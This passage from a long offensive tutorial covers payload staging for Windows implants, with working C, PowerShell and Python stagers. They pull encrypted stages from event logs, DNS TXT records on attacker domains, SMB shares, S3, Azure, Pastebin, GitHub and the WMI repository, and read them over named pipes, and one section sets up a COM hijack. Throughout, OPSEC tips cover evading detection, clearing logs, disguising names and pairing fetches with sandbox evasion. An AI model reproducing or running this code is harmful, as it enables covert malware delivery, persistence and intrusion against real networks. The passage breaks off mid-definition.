    LPBYTE pDecoded = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, decodedSize);
    CryptStringToBinaryA((LPCSTR)pBuf, 0, CRYPT_STRING_BASE64,
                         pDecoded, &decodedSize, NULL, NULL);

    HeapFree(GetProcessHeap(), 0, pBuf);
    *outSize = decodedSize;
    printf("[+] ADS stage read: %lu bytes\n", decodedSize);
    return pDecoded;
}

// Usage:
// LPBYTE stage = ReadStageFromADS(L"C:\\Users\\Public\\config.txt:payload", &sz);

[DETECT] Sysmon EventID 15 (FileCreateStreamHash) specifically monitors ADS creation. ADS is well-known; any blue team with Sysmon configured will alert on *:* stream creation. Use only when Sysmon is not present.

[EVASION] Zone.Identifier is a built-in ADS that Windows writes on downloaded files. Blending your stream into a path like %TEMP%\download.tmp:Zone.Identifier normalizes it slightly, though the content would still look unusual.


8. Windows Event Log Staging

What it means: Payload bytes are encoded and written into the Windows Event Log as custom event entries. The stager queries the event log, reads the custom events, reassembles the payload, and executes it. Highly creative and rarely monitored for payload storage. Technique popularized by threat actors and documented in the wild.

8.1 Writing Payload to Event Log

# Write Base64-encoded payload chunks into the Windows event log
# Uses Write-EventLog to create custom entries in Application log

$b64    = [Convert]::ToBase64String([IO.File]::ReadAllBytes("stage1.enc"))
$chunkSize = 4096  # Max event message size varies; keep chunks small

# Register a source (needed for Write-EventLog)
if (-not [System.Diagnostics.EventLog]::SourceExists("MicrosoftUpdate")) {
    New-EventLog -LogName Application -Source "MicrosoftUpdate"
}

# Write payload in chunks
$chunks = [System.Collections.ArrayList]@()
for ($i = 0; $i -lt $b64.Length; $i += $chunkSize) {
    $chunk = $b64.Substring($i, [Math]::Min($chunkSize, $b64.Length - $i))
    $chunks.Add($chunk) | Out-Null
}

$totalChunks = $chunks.Count
for ($i = 0; $i -lt $totalChunks; $i++) {
    Write-EventLog -LogName Application `
                   -Source "MicrosoftUpdate" `
                   -EventId 1000 `
                   -EntryType Information `
                   -Message "Update metadata [$i/$totalChunks]: $($chunks[$i])"
}

Write-Host "[+] Payload written to event log in $totalChunks chunks"

8.2 Reading Payload from Event Log (C Stager)

#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>

// Read payload from Application event log (custom source)
// Each event entry = one chunk of Base64 payload

LPBYTE ReadStageFromEventLog(const wchar_t* source, DWORD eventId,
                              SIZE_T* outSize) {
    HANDLE hEventLog = OpenEventLogW(NULL, L"Application");
    if (!hEventLog) {
        printf("[-] OpenEventLog failed: %lu\n", GetLastError());
        return NULL;
    }

    // Read all event records
    DWORD bufSize = 0x10000;
    LPBYTE pBuf = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, bufSize);
    DWORD bytesRead, bytesNeeded;
    char* assembledB64 = NULL;
    SIZE_T assembledLen = 0;

    // Read records from newest to oldest (EVENTLOG_BACKWARDS_READ)
    while (ReadEventLogW(hEventLog,
                         EVENTLOG_SEQUENTIAL_READ | EVENTLOG_BACKWARDS_READ,
                         0, pBuf, bufSize, &bytesRead, &bytesNeeded)) {
        PBYTE p = pBuf;
        while (p < pBuf + bytesRead) {
            PEVENTLOGRECORD pRec = (PEVENTLOGRECORD)p;

            // Check source name and event ID
            wchar_t* pSource = (wchar_t*)(p + sizeof(EVENTLOGRECORD));
            if (pRec->EventID == eventId &&
                _wcsicmp(pSource, source) == 0) {

                // Message string starts after source + computername
                wchar_t* pMsg = pSource;
                while (*pMsg) pMsg++;  pMsg++;  // Skip source
                while (*pMsg) pMsg++;  pMsg++;  // Skip computer name

                // Extract the Base64 chunk from message
                // Message format: "Update metadata [N/M]: <b64chunk>"
                wchar_t* colonPos = wcsstr(pMsg, L"]: ");
                if (colonPos) {
                    colonPos += 3;  // Skip "]: "
                    int len = WideCharToMultiByte(CP_ACP, 0, colonPos, -1,
                                                  NULL, 0, NULL, NULL);
                    char* narrow = (char*)HeapAlloc(GetProcessHeap(), 0, len);
                    WideCharToMultiByte(CP_ACP, 0, colonPos, -1,
                                        narrow, len, NULL, NULL);
                    // Append to assembled b64
                    assembledB64 = (char*)HeapReAlloc(GetProcessHeap(), 0,
                        assembledB64, assembledLen + len);
                    memcpy(assembledB64 + assembledLen, narrow, len - 1);
                    assembledLen += len - 1;
                    HeapFree(GetProcessHeap(), 0, narrow);
                }
            }
            p += pRec->Length;
        }
    }

    CloseEventLog(hEventLog);
    HeapFree(GetProcessHeap(), 0, pBuf);

    if (!assembledB64) return NULL;

    // Base64 decode assembled chunks
    DWORD decodedSize = 0;
    CryptStringToBinaryA(assembledB64, (DWORD)assembledLen,
                         CRYPT_STRING_BASE64, NULL, &decodedSize, NULL, NULL);
    LPBYTE pDecoded = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, decodedSize);
    CryptStringToBinaryA(assembledB64, (DWORD)assembledLen,
                         CRYPT_STRING_BASE64, pDecoded, &decodedSize,
                         NULL, NULL);

    HeapFree(GetProcessHeap(), 0, assembledB64);
    *outSize = decodedSize;
    printf("[+] Stage reassembled from event log: %lu bytes\n", decodedSize);
    return pDecoded;
}

[OPSEC] Event log entries persist until the log is full and wraps around. Clean up after yourself using Clear-EventLog -LogName Application or selectively delete entries (harder). The source name MicrosoftUpdate blends well but analysts may recognize the pattern.

[DETECT] Sysmon EventID 1 (ProcessCreate) showing wevtutil or Write-EventLog usage and Security EventID 4663 (Object Access) can surface event log writes. The main detection is behavioral — legitimate apps don't write large chunks of Base64 to the Application log.


9. DNS TXT Record Staging

What it means: The payload (or a portion of it) is stored in a DNS TXT record on an attacker-controlled domain. The stager resolves the DNS TXT record to retrieve payload chunks. DNS queries often bypass web filtering proxies and firewalls, and DNS traffic to a legitimate-looking domain is low-suspicion.

9.1 Setting Up DNS TXT Record

# On your domain registrar / DNS provider:
# Add TXT record to your domain
# Name: stage.yourdomain.com
# Type: TXT
# Value: <base64-encoded chunk>

# DNS TXT records are limited to 255 bytes per string,
# but multiple strings can be chained in one record (up to ~4KB total)
# Split large payloads across multiple subdomains

# Example using bind9 zone file:
# stage1.c2.yourdomain.com  TXT  "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAA..."
# stage2.c2.yourdomain.com  TXT  "AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..."
# stage3.c2.yourdomain.com  TXT  "..."

# Verify from attacker machine:
dig TXT stage1.c2.yourdomain.com +short
nslookup -type=TXT stage1.c2.yourdomain.com

9.2 DNS TXT Stager (PowerShell)

# Resolve DNS TXT records and reassemble payload
$domain    = "c2.yourdomain.com"
$chunks    = 5        # Number of stage subdomain chunks
$xorKey    = 0x4B

$assembled = [System.Text.StringBuilder]::new()

for ($i = 1; $i -le $chunks; $i++) {
    $subdomain = "stage$i.$domain"
    try {
        $result = Resolve-DnsName -Name $subdomain -Type TXT -ErrorAction Stop
        $txtData = ($result | Where-Object { $_.Type -eq "TXT" }).Strings -join ""
        $assembled.Append($txtData) | Out-Null
        Write-Host "[+] Fetched chunk $i from $subdomain"
    } catch {
        Write-Host "[-] Failed to resolve $subdomain : $_"
    }
}

# Decode and decrypt
$enc = [Convert]::FromBase64String($assembled.ToString())
$dec = [byte[]]($enc | ForEach-Object { $_ -bxor $xorKey })

# Execute in memory (P/Invoke pattern from §3.3)

9.3 DNS TXT Stager (C — DnsQuery)

#include <windows.h>
#include <windns.h>
#include <wincrypt.h>
#include <stdio.h>
// Link: -ldnsapi

#define DNS_DOMAIN "c2.yourdomain.com"
#define CHUNK_COUNT 5

LPBYTE FetchStageViaDNS(SIZE_T* outSize) {
    char assembled[0x100000] = {0};  // 1MB buffer for assembled b64
    SIZE_T assembledLen = 0;

    for (int chunk = 1; chunk <= CHUNK_COUNT; chunk++) {
        char hostname[256];
        snprintf(hostname, sizeof(hostname), "stage%d.%s", chunk, DNS_DOMAIN);

        PDNS_RECORD pDnsRecord = NULL;
        DNS_STATUS status = DnsQuery_A(hostname, DNS_TYPE_TEXT,
                                       DNS_QUERY_BYPASS_CACHE,
                                       NULL, &pDnsRecord, NULL);
        if (status != ERROR_SUCCESS) {
            printf("[-] DnsQuery failed for %s: %ld\n", hostname, status);
            continue;
        }

        // Walk DNS records to find TXT records
        PDNS_RECORD pRec = pDnsRecord;
        while (pRec) {
            if (pRec->wType == DNS_TYPE_TEXT) {
                for (DWORD i = 0; i < pRec->Data.TXT.dwStringCount; i++) {
                    const char* str = pRec->Data.TXT.pStringArray[i];
                    size_t slen = strlen(str);
                    memcpy(assembled + assembledLen, str, slen);
                    assembledLen += slen;
                    printf("[+] Chunk %d: %zu bytes from %s\n",
                           chunk, slen, hostname);
                }
            }
            pRec = pRec->pNext;
        }

        DnsFree(pDnsRecord, DnsFreeRecordList);
    }

    if (assembledLen == 0) return NULL;

    // Base64 decode
    DWORD decodedSize = 0;
    CryptStringToBinaryA(assembled, (DWORD)assembledLen, CRYPT_STRING_BASE64,
                         NULL, &decodedSize, NULL, NULL);
    LPBYTE pDecoded = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, decodedSize);
    CryptStringToBinaryA(assembled, (DWORD)assembledLen, CRYPT_STRING_BASE64,
                         pDecoded, &decodedSize, NULL, NULL);

    *outSize = decodedSize;
    return pDecoded;
}

[OPSEC] DNS TXT queries for non-A/CNAME record types are unusual for a workstation and are logged by DNS security tools (Infoblox, Cisco Umbrella, Palo Alto DNS Security). Use a domain pre-registered and categorized as legitimate to reduce blocking.

[DETECT] Zeek dns.log and Windows DNS Debug log capture all DNS queries. High-frequency TXT record queries to a low-reputation domain is a strong indicator. Spread queries across time to reduce volume-based detection.


10. SMB / UNC Path Staging

What it means: Stage 1 payload is stored on an SMB share (attacker-controlled or compromised internal share). The stager fetches the payload via a UNC path (\\server\share\file). Particularly effective for lateral movement within corporate networks where SMB is unrestricted.

10.1 Setting Up an SMB Stage Server

# Linux: Impacket SMB server for staging
# Serves files from a local directory over SMB

python3 /opt/impacket/examples/smbserver.py -smb2support \
    STAGES /opt/stages/

# Client accesses: \\<attacker_ip>\STAGES\beacon.enc

# With authentication (recommended to avoid open share detection):
python3 /opt/impacket/examples/smbserver.py -smb2support \
    -username stageuser -password "StagePass123" \
    STAGES /opt/stages/
:: Windows: share a directory for staging
net share STAGES=C:\Stages /grant:Everyone,READ
:: Or with specific user:
net share STAGES=C:\Stages /grant:DOMAIN\stageuser,READ

10.2 SMB UNC Path Stager (C)

#include <windows.h>
#include <stdio.h>

// Fetch stage from UNC path — uses standard file I/O (SMB transparent)
LPBYTE FetchStageFromSMB(const wchar_t* uncPath, SIZE_T* outSize) {
    // Optional: add SMB credentials if share requires auth
    NETRESOURCEW nr = {0};
    nr.dwType       = RESOURCETYPE_DISK;
    nr.lpRemoteName = L"\\\\192.168.1.100\\STAGES";

    // Connect with credentials
    WNetAddConnection2W(&nr, L"StagePass123", L"stageuser", 0);

    // Now read the file via UNC path (same as local file I/O)
    HANDLE hFile = CreateFileW(uncPath,
                               GENERIC_READ, FILE_SHARE_READ,
                               NULL, OPEN_EXISTING, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] UNC open failed: %lu\n", GetLastError());
        return NULL;
    }

    DWORD fileSize = GetFileSize(hFile, NULL);
    LPBYTE pBuf = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, fileSize);
    DWORD bytesRead;
    ReadFile(hFile, pBuf, fileSize, &bytesRead, NULL);
    CloseHandle(hFile);

    WNetCancelConnection2W(L"\\\\192.168.1.100\\STAGES", 0, TRUE);

    *outSize = bytesRead;
    printf("[+] Stage fetched from SMB: %lu bytes\n", bytesRead);
    return pBuf;
}

// Usage:
// LPBYTE stage = FetchStageFromSMB(L"\\\\192.168.1.100\\STAGES\\beacon.enc", &sz);

10.3 PowerShell UNC Stager

# Fetch and execute stage from SMB share
$uncPath = "\\192.168.1.100\STAGES\beacon.enc"
$cred = New-Object System.Management.Automation.PSCredential(
    "stageuser",
    (ConvertTo-SecureString "StagePass123" -AsPlainText -Force))

# Map drive temporarily
New-PSDrive -Name S -PSProvider FileSystem -Root "\\192.168.1.100\STAGES" `
    -Credential $cred -Temporary

$enc = [IO.File]::ReadAllBytes("S:\beacon.enc")
Remove-PSDrive S

$key = 0x4B
$dec = [byte[]]($enc | ForEach-Object { $_ -bxor $key })
# Execute via P/Invoke...

[OPSEC] SMB staging traffic is east-west (internal network) and often unmonitored by web proxies. However, SMB connections to unusual internal hosts are logged by NTA tools (Darktrace, ExtraHop) and EDR network telemetry.


11. Cloud Storage Staging (S3, Azure Blob, Pastebin)

What it means: Stage 1 is uploaded to a legitimate cloud storage service. The stager fetches it over HTTPS from the cloud provider. Network defenders rarely block AWS S3 or Azure Blob Storage outbound connections, and TLS inspection of these endpoints is often excluded for compliance reasons.

11.1 AWS S3 Staging

# Upload encrypted stage to S3 (attacker-controlled bucket)
aws s3 cp stage1.enc s3://my-legitimate-looking-bucket/assets/update.bin \
    --profile attacker-profile \
    --no-verify-ssl   # For testing

# Set public read access (or use pre-signed URLs for gated access)
aws s3api put-object-acl \
    --bucket my-legitimate-looking-bucket \
    --key assets/update.bin \
    --acl public-read

# Download URL:
# https://my-legitimate-looking-bucket.s3.amazonaws.com/assets/update.bin

# For time-limited access (pre-signed URL — expires after N seconds):
aws s3 presign s3://my-legitimate-looking-bucket/assets/update.bin \
    --expires-in 3600

# S3 bucket naming OPSEC: use names that sound like software update CDNs
# Bad:  attacker-payload-bucket
# Good: software-updates-cdn-prod, telemetry-data-collector-v2

11.2 Azure Blob Staging

# Azure Blob Storage
az storage blob upload \
    --account-name mystorageaccount \
    --container-name assets \
    --name update.bin \
    --file stage1.enc

# Get public URL:
# https://mystorageaccount.blob.core.windows.net/assets/update.bin

11.3 Pastebin / Similar Text Services

#!/usr/bin/env python3
# Upload Base64-encoded payload to Pastebin
# Stager fetches the paste URL and decodes

import requests

def upload_to_pastebin(b64_payload: str, api_key: str) -> str:
    """Upload Base64 payload to Pastebin, return paste URL."""
    resp = requests.post("https://pastebin.com/api/api_post.php", data={
        "api_dev_key":     api_key,
        "api_option":      "paste",
        "api_paste_code":  b64_payload,
        "api_paste_private": "1",     # Private (unlisted)
        "api_paste_expire_date": "1H" # Expire after 1 hour
    })
    paste_key = resp.text  # Returns paste key like "AbCdEfGh"
    return f"https://pastebin.com/raw/{paste_key}"

# Read and encode payload
with open("stage1.enc", "rb") as f:
    payload = f.read()
import base64
b64 = base64.b64encode(payload).decode()

url = upload_to_pastebin(b64, api_key="YOUR_PASTEBIN_API_KEY")
print(f"[+] Stage URL: {url}")

11.4 Cloud Stager — C (WinINet fetch from S3)

// Fetch stage from S3 — identical to §3.2 HTTP stager
// Just point STAGE_HOST at s3.amazonaws.com and STAGE_PATH at /bucket/key

#define STAGE_HOST  L"my-bucket.s3.amazonaws.com"
#define STAGE_PORT  443
#define STAGE_PATH  L"/assets/update.bin"

// Call FetchStageHTTPS() from §3.2 — same code works for S3/Azure/Pastebin
// The domain legitimacy (amazonaws.com) is the key OPSEC win here

[OPSEC] Domain Generation: use legitimate cloud subdomains (bucket.s3.amazonaws.com, account.blob.core.windows.net). These are TLS-trusted, category-whitelisted, and rarely blocked. The content inside the HTTPS tunnel is invisible to most proxy/DLP products unless they do full SSL inspection with certificate pinning bypass.

[DETECT] Volume anomaly: An endpoint downloading a 200KB binary from S3 with no user interaction is anomalous. Pair cloud staging with sandbox evasion (check for GUI, check uptime, check for VMs) so the fetch only occurs in real environments.


12. GitHub / GitLab / Code Repo Staging

What it means: The Stage 1 payload is committed to a GitHub repository (public or private) as a binary or Base64 text file. The stager fetches it via the GitHub raw content URL. GitHub's CDN is extremely unlikely to be blocked and is always HTTPS.

12.1 GitHub Staging Setup

# Create a private GitHub repo for staging
# Upload encrypted payload as a "binary asset" or "config file"

git init stage-repo
cd stage-repo
cp /path/to/stage1.enc config.bin   # Disguise name
git add config.bin
git commit -m "Update configuration"
git remote add origin https://github.com/youruser/legit-looking-repo.git
git push origin main

# Raw content URL format:
# https://raw.githubusercontent.com/user/repo/branch/filename
# https://raw.githubusercontent.com/youruser/legit-looking-repo/main/config.bin

# For private repos, use a Personal Access Token:
# https://TOKEN@raw.githubusercontent.com/user/repo/main/config.bin

12.2 GitHub Stager — PowerShell

# Fetch stage from GitHub raw URL
$token   = "ghp_YourPersonalAccessTokenHere"  # PAT for private repo
$rawUrl  = "https://raw.githubusercontent.com/youruser/legit-repo/main/config.bin"

$wc = New-Object System.Net.WebClient
$wc.Headers.Add("Authorization", "token $token")
$wc.Headers.Add("User-Agent", "git/2.39.0")  # Look like git client

$enc = $wc.DownloadData($rawUrl)
$key = 0x4B
$dec = [byte[]]($enc | ForEach-Object { $_ -bxor $key })

# Execute via P/Invoke...

12.3 GitHub API for Gated Access

#!/usr/bin/env python3
# Fetch stage via GitHub API (slightly more legitimate-looking traffic)
import requests
import base64

OWNER = "youruser"
REPO  = "legit-looking-repo"
PATH  = "config.bin"
TOKEN = "ghp_YourPATHere"

url = f"https://api.github.com/repos/{OWNER}/{REPO}/contents/{PATH}"
headers = {
    "Authorization": f"token {TOKEN}",
    "Accept": "application/vnd.github.v3+json",
    "User-Agent": "git/2.39.0.windows.1"
}

resp = requests.get(url, headers=headers)
data = resp.json()

# GitHub API returns file content as Base64
payload_b64  = data["content"]
payload_enc  = base64.b64decode(payload_b64)

# XOR decrypt
key = 0x4B
payload_dec = bytes([b ^ key for b in payload_enc])

print(f"[+] Stage fetched: {len(payload_dec)} bytes")
# → Execute via subprocess injection or ctypes

[OPSEC] Burn the repo. Delete the repository immediately after the stager fetches the payload. PAT tokens should have minimal scope (repo:read only) and be rotated. Use a throwaway GitHub account registered on a VPN.


13. WMI Repository Staging

What it means: WMI (Windows Management Instrumentation) has a persistent repository (C:\Windows\System32\wbem\Repository\) that stores WMI class definitions. Attackers can create custom WMI classes with arbitrary string properties to store payload data. The payload lives in the WMI repository — no file on disk (from the attacker's perspective), no registry key.

13.1 Storing Payload in WMI (PowerShell)

# Store payload in a custom WMI class property
# Payload is stored in WMI repository (binary file at C:\...\Repository\)

# Read and encode payload
$b64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes("stage1.enc"))

# Create a custom WMI class to hold the payload
$namespace = "root\subscription"   # Persistent namespace — survives reboots

# Build the class definition
$wmiClass = New-Object System.Management.ManagementClass(
    $namespace, [String]::Empty, $null)
$wmiClass["__CLASS"] = "WindowsTelemetryCache"   # Innocent-looking class name

$wmiClass.Qualifiers.Add("Static", $true)
$wmiClass.Properties.Add("CacheVersion", [System.Management.CimType]::String, $false)
$wmiClass.Properties.Add("CacheData",    [System.Management.CimType]::String, $false)
$wmiClass.Properties["CacheVersion"].Qualifiers.Add("Key", $true)

$wmiClass.Put() | Out-Null

# Create an instance of the class and store payload
$instance = $wmiClass.CreateInstance()
$instance["CacheVersion"] = "1.0.0"
$instance["CacheData"]    = $b64
$instance.Put() | Out-Null

Write-Host "[+] Payload stored in WMI repository"
Write-Host "    Class:    root\subscription:WindowsTelemetryCache"
Write-Host "    Property: CacheData ($($b64.Length) chars)"

13.2 Reading Payload from WMI (PowerShell Stager)

# Retrieve payload from WMI repository
$query = "SELECT CacheData FROM WindowsTelemetryCache WHERE CacheVersion='1.0.0'"
$result = Get-WmiObject -Namespace "root\subscription" -Query $query

if ($result) {
    $enc = [Convert]::FromBase64String($result.CacheData)
    $key = 0x4B
    $dec = [byte[]]($enc | ForEach-Object { $_ -bxor $key })
    Write-Host "[+] Stage retrieved from WMI: $($dec.Length) bytes"
    # Execute via P/Invoke...
}

13.3 Reading Payload from WMI (C Stager)

#include <windows.h>
#include <wbemidl.h>
#include <wincrypt.h>
#include <stdio.h>
// Link: -lwbemuuid -lole32 -loleaut32

LPBYTE ReadStageFromWMI(SIZE_T* outSize) {
    HRESULT hr;
    IWbemLocator*  pLoc  = NULL;
    IWbemServices* pSvc  = NULL;
    IEnumWbemClassObject* pEnum = NULL;
    LPBYTE pDecoded = NULL;

    CoInitializeEx(NULL, COINIT_MULTITHREADED);
    CoInitializeSecurity(NULL, -1, NULL, NULL,
                         RPC_C_AUTHN_LEVEL_DEFAULT,
                         RPC_C_IMP_LEVEL_IMPERSONATE,
                         NULL, EOAC_NONE, NULL);

    CoCreateInstance(&CLSID_WbemLocator, NULL, CLSCTX_INPROC_SERVER,
                     &IID_IWbemLocator, (LPVOID*)&pLoc);

    pLoc->lpVtbl->ConnectServer(pLoc,
        L"root\\subscription", NULL, NULL, NULL,
        0, NULL, NULL, &pSvc);

    pSvc->lpVtbl->ExecQuery(pSvc,
        L"WQL",
        L"SELECT CacheData FROM WindowsTelemetryCache WHERE CacheVersion='1.0.0'",
        WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY,
        NULL, &pEnum);

    IWbemClassObject* pObj = NULL;
    ULONG returned = 0;

    if (pEnum->lpVtbl->Next(pEnum, WBEM_INFINITE, 1, &pObj, &returned)
        == S_OK && returned > 0) {

        VARIANT vtProp;
        pObj->lpVtbl->Get(pObj, L"CacheData", 0, &vtProp, NULL, NULL);

        // vtProp.bstrVal contains the Base64 payload
        // Convert BSTR to char* then decode
        int len = WideCharToMultiByte(CP_ACP, 0, vtProp.bstrVal, -1,
                                      NULL, 0, NULL, NULL);
        LPSTR pB64 = (LPSTR)HeapAlloc(GetProcessHeap(), 0, len);
        WideCharToMultiByte(CP_ACP, 0, vtProp.bstrVal, -1,
                            pB64, len, NULL, NULL);

        DWORD decodedSize = 0;
        CryptStringToBinaryA(pB64, 0, CRYPT_STRING_BASE64,
                             NULL, &decodedSize, NULL, NULL);
        pDecoded = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, decodedSize);
        CryptStringToBinaryA(pB64, 0, CRYPT_STRING_BASE64,
                             pDecoded, &decodedSize, NULL, NULL);

        HeapFree(GetProcessHeap(), 0, pB64);
        VariantClear(&vtProp);
        pObj->lpVtbl->Release(pObj);
        *outSize = decodedSize;
        printf("[+] WMI stage retrieved: %lu bytes\n", decodedSize);
    }

    if (pEnum) pEnum->lpVtbl->Release(pEnum);
    if (pSvc)  pSvc->lpVtbl->Release(pSvc);
    if (pLoc)  pLoc->lpVtbl->Release(pLoc);
    CoUninitialize();
    return pDecoded;
}

[OPSEC] WMI repository is rarely inspected by AV. However, WMI persistence is a well-known APT technique and blue teams using tools like WMIMonitor or WMI-Persistence-Hunter will find custom classes. Use uncommon namespace (root\subscription) and class names that mimic real Windows internals.

[DETECT] Sysmon EventID 19/20/21 (WmiEventFilter, WmiEventConsumer, WmiEventConsumerToFilter) are logged for WMI subscriptions. Class creation in non-standard namespaces is also detectable via WMI Activity Operational event log (Microsoft-Windows-WMI-Activity/Operational EventID 5861).


14. COM Object / Registry-Backed Staging

What it means: COM (Component Object Model) objects are registered in the registry. Attackers can hijack COM registrations or create new ones that point to their payload loader. When a legitimate application instantiates the hijacked COM object, the payload executes — this doubles as a persistence mechanism.

14.1 COM Hijacking for Staging

COM Hijack Staging Flow:
══════════════════════════════════════════════════════
1. Identify a COM CLSID that a privileged app uses but doesn't validate
   (use ProcMon to find HKCU CLSID lookups that fail → go to HKLM)

2. Create HKCU\Software\Classes\CLSID\{target-CLSID}\InProcServer32
   Value: path to your stager DLL

3. When legitimate app activates the COM object, Windows checks HKCU first
   → Loads YOUR DLL instead of the real one
   → DLL's DllMain() fetches and executes Stage 1
# Example: Hijack CLSID {BCDE0395-E52F-467C-8E3D-C4579291692E}
# (Windows Script Host Object Model — used by many apps)

$clsid    = "{BCDE0395-E52F-467C-8E3D-C4579291692E}"
$dllPath  = "C:\Users\$env:USERNAME\AppData\Roaming\loader.dll"

# Register in HKCU (no admin needed)
$regPath = "HKCU:\Software\Classes\CLSID\$clsid\InProcServer32"
New-Item -Path $regPath -Force | Out-Null
Set-ItemProperty -Path $regPath -Name "(Default)" -Value $dllPath
Set-ItemProperty -Path $regPath -Name "ThreadingModel" -Value "Both"

Write-Host "[+] COM hijack registered"
Write-Host "    CLSID: $clsid"
Write-Host "    DLL:   $dllPath"

14.2 Finding COM Hijack Candidates

# Use Process Monitor to find missing HKCU COM registrations
# Or use automated tool:

# Automated COM hijack candidate finder
$missing = @()
Get-ChildItem "HKLM:\SOFTWARE\Classes\CLSID" | ForEach-Object {
    $clsid = $_.PSChildName
    $hkcuPath = "HKCU:\Software\Classes\CLSID\$clsid"
    $hklmPath = "HKLM:\SOFTWARE\Classes\CLSID\$clsid\InProcServer32"

    if (-not (Test-Path $hkcuPath) -and (Test-Path $hklmPath)) {
        $dllPath = (Get-ItemProperty $hklmPath -ErrorAction SilentlyContinue)."(Default)"
        if ($dllPath -and -not (Test-Path $dllPath)) {
            # DLL referenced in HKLM but file doesn't exist → hijack opportunity
            $missing += [PSCustomObject]@{
                CLSID   = $clsid
                DllPath = $dllPath
            }
        }
    }
}
$missing | Format-Table -AutoSize

[DETECT] Sysmon EventID 12/13 (RegistryCreate/Set) for HKCU CLSID registrations is a strong signal. Hunting for COM hijacks: look for HKCU\Software\Classes\CLSID entries that shadow HKLM entries, where the DLL path is in a user-writable directory.


15. Named Pipe Staging

What it means: An attacker creates a named pipe server. The stager connects to the pipe and reads the Stage 1 payload from it. Used primarily for intra-host communication between processes, or over SMB (which tunnels named pipes) for lateral movement. Common in Cobalt Strike SMB beacons.

15.1 Named Pipe Stage Server (C — Pipe Server)

#include <windows.h>
#include <stdio.h>

// Stage server: listens on a named pipe, sends payload to stager that connects

#define PIPE_NAME L"\\\\.\\pipe\\WindowsUpdatePipe"  // Blend-in pipe name

BOOL ServeStageThroughPipe(LPBYTE payload, SIZE_T payloadLen) {
    HANDLE hPipe = CreateNamedPipeW(
        PIPE_NAME,
        PIPE_ACCESS_OUTBOUND,             // Server sends, client reads
        PIPE_TYPE_BYTE | PIPE_WAIT,       // Byte stream, blocking
        1,                                // Max instances
        (DWORD)payloadLen,                // Out buffer size
        0,                                // In buffer size
        5000,                             // Default timeout (5s)
        NULL);

    if (hPipe == INVALID_HANDLE_VALUE) {
        printf("[-] CreateNamedPipe failed: %lu\n", GetLastError());
        return FALSE;
    }

    printf("[*] Waiting for stager to connect on %ls...\n", PIPE_NAME);

    // Wait for stager to connect
    if (!ConnectNamedPipe(hPipe, NULL)) {
        if (GetLastError() != ERROR_PIPE_CONNECTED) {
            printf("[-] ConnectNamedPipe failed: %lu\n", GetLastError());
            CloseHandle(hPipe);
            return FALSE;
        }
    }

    printf("[+] Stager connected\n");

    // Send payload size first (4 bytes)
    DWORD written;
    DWORD payloadSize = (DWORD)payloadLen;
    WriteFile(hPipe, &payloadSize, sizeof(DWORD), &written, NULL);

    // Send payload
    WriteFile(hPipe, payload, payloadSize, &written, NULL);
    printf("[+] Stage sent: %lu bytes\n", written);

    FlushFileBuffers(hPipe);
    DisconnectNamedPipe(hPipe);
    CloseHandle(hPipe);
    return TRUE;
}

15.2 Named Pipe Stager (C — Client Side)

// Stager connects to pipe server, reads Stage 1, executes in memory

LPBYTE FetchStageFromPipe(const wchar_t* pipeName, SIZE_T* outSize) {
    HANDLE hPipe = INVALID_HANDLE_VALUE;

    // Wait for pipe to be available
    while (1) {
        hPipe = CreateFileW(pipeName,
                            GENERIC_READ,
                            0, NULL,
                            OPEN_EXISTING, 0, NULL);

        if (hPipe != INVALID_HANDLE_VALUE) break;

        if (GetLastError() != ERROR_PIPE_BUSY) {
            printf("[-] Pipe open failed: %lu\n", GetLastError());
            return NULL;
        }

        WaitNamedPipeW(pipeName, 5000);  // Wait up to 5s for pipe
    }

    printf("[+] Connected to pipe\n");

    // Read payload size
    DWORD payloadSize = 0;
    DWORD bytesRead;
    ReadFile(hPipe, &payloadSize, sizeof(DWORD), &bytesRead, NULL);
    printf("[+] Stage size: %lu bytes\n", payloadSize);

    // Read payload
    LPBYTE pBuf = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, payloadSize);
    DWORD totalRead = 0;

    while (totalRead < payloadSize) {
        ReadFile(hPipe, pBuf + totalRead,
                 payloadSize - totalRead, &bytesRead, NULL);
        totalRead += bytesRead;
    }

    CloseHandle(hPipe);
    *outSize = totalRead;
    printf("[+] Stage received: %lu bytes\n", totalRead);
    return pBuf;
}

// SMB Named Pipe (remote): use \\server\pipe\pipename syntax
// LPBYTE s = FetchStageFromPipe(L"\\\\192.168.1.100\\pipe\\WindowsUpdatePipe", &sz);

[OPSEC] Named pipes over SMB (\\server\pipe\name) look like normal SMB traffic. This is how Cobalt Strike's SMB beacon works internally. The pipe name is configurable in the Malleable C2 profile — always customize it away from the default \\.\\pipe\\msagent_*.


16. In-Memory Staging (Reflective)

What it means: The most stealthy staging approach — the Stage 1 payload never touches disk or any persistent storage. The stager fetches it directly into memory, decrypts it, and reflectively loads it. The payload only exists in RAM for its lifetime.

16.1 Reflective DLL Loading Concept

Reflective DLL Injection Flow:
══════════════════════════════════════════════════════
Standard DLL loading:
  LoadLibrary("C:\path\to.dll")
  ├─ Windows reads file from disk
  ├─ Maps into memory
  ├─ Runs DllMain
  └─ DLL registered in PEB module list (visible to tools)

Reflective DLL loading:
  FetchStageHTTPS() → pBuf (raw DLL bytes in memory)
  ReflectiveLoader(pBuf)  ← custom loader function IN the DLL itself
  ├─ Finds its own base address in pBuf
  ├─ Parses PE headers
  ├─ Maps sections
  ├─ Fixes relocations
  ├─ Resolves imports
  ├─ Runs DllMain
  └─ NOT registered in PEB (invisible to module enumeration tools)
══════════════════════════════════════════════════════

16.2 Shellcode Stage Execution in Memory

#include <windows.h>
#include <stdio.h>

// Complete in-memory staged execution:
// 1. Fetch encrypted stage over HTTPS
// 2. Decrypt in memory
// 3. Execute via thread (shellcode) or reflective load (DLL)

typedef struct _STAGE_HEADER {
    DWORD magic;         // 0xDEADBEEF — validate it's our stage
    DWORD payloadSize;   // Actual shellcode/DLL size
    BYTE  checksum;      // XOR checksum of payload
